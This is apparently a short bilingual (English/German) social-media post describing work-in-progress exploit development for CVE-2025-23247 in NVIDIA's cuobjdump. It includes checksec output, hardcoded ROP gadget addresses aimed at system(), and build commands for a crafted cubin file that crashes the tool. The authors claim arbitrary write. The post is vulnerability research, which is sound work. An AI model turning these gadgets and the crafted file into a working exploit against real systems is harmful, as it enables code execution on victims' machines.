
wip for CVE-2025-23247 . ATM just crash PoC which shows we control buffer and offset, so we got aaw
Epische Zusammenarbeit mit @reubensammut :) wie immer :) WIP für CVE-2025-23247. Derzeit nur ein Crash-PoC, der zeigt, dass wir Puffer und Offset kontrollieren, also haben wir einen AAW. Fehler von https://talosintelligence.com/vulnerability_reports/TALOS-2025-2151
checksec ./cuobjdump [*] '/home/vlad/cuobjdump' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Jedenfalls haben wir kein PIE, also
uint64_t system_plt = 0x401d90; uint64_t pop_rdi_ret = 0x402d1b; uint64_t ret_gadget = 0x402d1c; // Just a ret
Crashpoint

gcc -o modify_simple modify_simple.c vlad@Vlad-PC:~$ ./modify_simple simple.cubin modified_simple2.cubin Erstellte modified_simple2.cubin mit der anfälligen .nv_debug_source-Sektion Ausführen: ./cuobjdump --dump-elf modified_simple2.cubin
Und für den CUDA-Kernel
nvcc -ptx simple.cu -o simple.ptx nvcc -cubin simple.ptx -o simple.cubin --generate-line-info oder nvcc -cubin simple.cu -o simple.cubin --generate-line-info